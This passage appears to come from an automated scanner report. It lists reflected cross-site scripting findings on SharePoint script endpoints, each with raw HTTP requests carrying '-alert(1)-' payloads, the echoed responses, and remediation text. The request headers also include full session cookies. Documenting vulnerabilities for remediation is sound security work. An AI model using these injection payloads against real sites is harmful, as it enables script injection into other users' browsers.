Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/1033/init.js?rev=BJDmyeIV5jS04CPkRq4Ldg%3D%3D&a80c6'-alert(1)-'9e6f3b4a90e=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 128391
Content-Type: application/x-javascript;charset=utf-8
Expires: Mon, 31 Oct 2011 16:53:37 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:36 GMT

var waxMagic=function(){
if(typeof(L_Infobar_Send_Error_Text)=='undefined')L_Infobar_Send_Error_Text=undefined;if(typeof(ULS)=='undefined')ULS=undefined;if(typeof(browseris)=='undefined')browseris=un
...[SNIP]...
"&&Sys&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("init.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/1033/init.js?rev=BJDmyeIV5jS04CPkRq4Ldg%3D%3D&a80c6'-alert(1)-'9e6f3b4a90e=1',waxMagic))waxMagic();

1.8. http://sharepoint.microsoft.com/_layouts/1033/init.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/1033/init.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e2014'-alert(1)-'6321ed85dfd was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/1033/init.js?rev=BJDmyeIV5jS04CPkRq4Ldg%3D%3De2014'-alert(1)-'6321ed85dfd HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 128388
Content-Type: application/x-javascript;charset=utf-8
Expires: Mon, 31 Oct 2011 16:53:32 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:56 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:31 GMT

var waxMagic=function(){
if(typeof(L_Infobar_Send_Error_Text)=='undefined')L_Infobar_Send_Error_Text=undefined;if(typeof(ULS)=='undefined')ULS=undefined;if(typeof(browseris)=='undefined')browseris=un
...[SNIP]...
d"&&Sys&&Sys.Application&&Sys.Application.notifyScriptLoaded();NotifyScriptLoadedAndExecuteWaitingJobs("init.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/1033/init.js?rev=BJDmyeIV5jS04CPkRq4Ldg%3D%3De2014'-alert(1)-'6321ed85dfd',waxMagic))waxMagic();

1.9. http://sharepoint.microsoft.com/_layouts/ScriptResx.ashx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/ScriptResx.ashx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a41d7'-alert(1)-'89d46a8f299 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/ScriptResx.ashx?culture=en%2Dus&name=SP%2ERes&rev=b6%2FcRx1a6orhAQ%2FcF%2B0ytQ%3D%3D&a41d7'-alert(1)-'89d46a8f299=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 14507
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:00 GMT
Last-Modified: Sat, 27 Mar 2010 04:29:00 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:59 GMT

var waxMagic=function(){
_EnsureJSNamespace('SP');SP.Res={lcid:'1033',autocompleteAccessibleMenuName:'Autocomplete Menu',autocompleteLoading:'Loading...',autocompleteListNotFound:'List Not Found.',au
...[SNIP]...
'undefined'&&Sys&&Sys.Application){Sys.Application.notifyScriptLoaded();}
};
if(!window.WAX_RI||WAX_RI('/_layouts/ScriptResx.ashx?culture=en%2Dus&name=SP%2ERes&rev=b6%2FcRx1a6orhAQ%2FcF%2B0ytQ%3D%3D&a41d7'-alert(1)-'89d46a8f299=1',waxMagic))waxMagic();

1.10. http://sharepoint.microsoft.com/_layouts/ScriptResx.ashx [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/ScriptResx.ashx

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5461f'-alert(1)-'0a339be4db7 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/ScriptResx.ashx?culture=en%2Dus&name=SP%2ERes&rev=b6%2FcRx1a6orhAQ%2FcF%2B0ytQ%3D%3D5461f'-alert(1)-'0a339be4db7 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 14504
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:55 GMT
Last-Modified: Sat, 27 Mar 2010 04:29:00 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:55 GMT

var waxMagic=function(){
_EnsureJSNamespace('SP');SP.Res={lcid:'1033',autocompleteAccessibleMenuName:'Autocomplete Menu',autocompleteLoading:'Loading...',autocompleteListNotFound:'List Not Found.',au
...[SNIP]...
='undefined'&&Sys&&Sys.Application){Sys.Application.notifyScriptLoaded();}
};
if(!window.WAX_RI||WAX_RI('/_layouts/ScriptResx.ashx?culture=en%2Dus&name=SP%2ERes&rev=b6%2FcRx1a6orhAQ%2FcF%2B0ytQ%3D%3D5461f'-alert(1)-'0a339be4db7',waxMagic))waxMagic();

1.11. http://sharepoint.microsoft.com/_layouts/blank.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/blank.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 685b4'-alert(1)-'087ef22ff93 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/blank.js?rev=QGOYAJlouiWgFRlhHVlMKA%3D%3D&685b4'-alert(1)-'087ef22ff93=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 286
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:30 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:54 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:29 GMT

var waxMagic=function(){
ULSaew=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="blank.js";return o;};

};
if(!window.WAX_RI||WAX_RI('/_layouts/blank.js?rev=QGOYAJlouiWgFRlhHVlMKA%3D%3D&685b4'-alert(1)-'087ef22ff93=1',waxMagic))waxMagic();

1.12. http://sharepoint.microsoft.com/_layouts/blank.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/blank.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c7279'-alert(1)-'bee140d5a1e was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/blank.js?rev=QGOYAJlouiWgFRlhHVlMKA%3D%3Dc7279'-alert(1)-'bee140d5a1e HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293135127:ss=1312293130321; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 283
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:53:25 GMT
Last-Modified: Sat, 27 Mar 2010 04:45:54 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:53:25 GMT

var waxMagic=function(){
ULSaew=function(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="blank.js";return o;};

};
if(!window.WAX_RI||WAX_RI('/_layouts/blank.js?rev=QGOYAJlouiWgFRlhHVlMKA%3D%3Dc7279'-alert(1)-'bee140d5a1e',waxMagic))waxMagic();

1.13. http://sharepoint.microsoft.com/_layouts/cui.js [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/cui.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b847a'-alert(1)-'2cfd1ab224f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/cui.js?rev=wvoVpqlQb30nGo4DjDk8Kg%3D%3D&b847a'-alert(1)-'2cfd1ab224f=1 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 351820
Content-Type: application/x-javascript;charset=utf-8
Expires: Tue, 02 Aug 2011 17:54:00 GMT
Last-Modified: Thu, 28 Jan 2010 07:43:20 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 14.0.0.4762
S: AA11
Date: Tue, 02 Aug 2011 16:54:00 GMT

var waxMagic=function(){
if(typeof(IEnumerator)=='undefined')IEnumerator=undefined;if(typeof(IEnumerable)=='undefined')IEnumerable=undefined;if(typeof(g_cuiXMLDOMDocument)=='undefined')g_cuiXMLDOMDoc
...[SNIP]...
oaded();typeof NotifyScriptLoadedAndExecuteWaitingJobs!="undefined"&&NotifyScriptLoadedAndExecuteWaitingJobs("CUI.js")
};
if(!window.WAX_RI||WAX_RI('/_layouts/cui.js?rev=wvoVpqlQb30nGo4DjDk8Kg%3D%3D&b847a'-alert(1)-'2cfd1ab224f=1',waxMagic))waxMagic();

1.14. http://sharepoint.microsoft.com/_layouts/cui.js [rev parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sharepoint.microsoft.com
Path:   /_layouts/cui.js

Issue detail

The value of the rev request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dce79'-alert(1)-'900baf67bb8 was submitted in the rev parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /_layouts/cui.js?rev=wvoVpqlQb30nGo4DjDk8Kg%3D%3Ddce79'-alert(1)-'900baf67bb8 HTTP/1.1
Host: sharepoint.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Accept: */*
Referer: http://sharepoint.microsoft.com/businessproductivity/en-us/why-microsoft/pages/compare-microsoft.aspx
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=businessproductivity:2=businessproductivity/en-us:3=businessproductivity/en-us/why-microsoft; _opt_vi_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vs_RLWY7DRO=C0707BD7-4D5B-4956-B691-FCA88E93D393; _opt_vt_RLWY7DRO=52C7883A72; WT_FPC=id=50.23.123.106-2254258992.30167348:lv=1312293159931:ss=1312293130321; fsr.s.bos={"v":1,"rid":"1312303950134_368327","to":3,"c":"http://www.microsoft.com/online/","pv":1,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; A=I&I=AxUFAAAAAAD7BwAAm6wKM+xK0sWzkEGHiAiLRQ!!; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=efff6f75-7490-437b-9dd6-a02c40032182&Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.NumberOfVisits=1&SessionCookie.Id=52A633FE379B3893A71079E51FC4AFE5; MS0=3332619ac3124ab3b5c3d65da323bfa2; MSID=Microsoft.CreationDate=08/02/2011 16:52:23&Microsoft.LastVisitDate=08/02/2011 16:52:23&Microsoft.VisitStartDate=08/02/2011 16:52:23&Microsoft.CookieId=bcd1c47b-d99a-4e6a-9d62-7eaf0d8bc8fd&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0659-9178-9938-2112; MUID=01D4283B4DD168AC3ED72A7948D16859; _opt_vi_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vs_X19C7L9U=0AB4B53C-8858-4739-ACDE-1B8AB95E1BF6; _opt_vt_X19C7L9U=8BD8A377D3; MC1=GUID=d2fccd7fda31f04f967897581dd1444f&HASH=7fcd&LV=20118&V=3
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
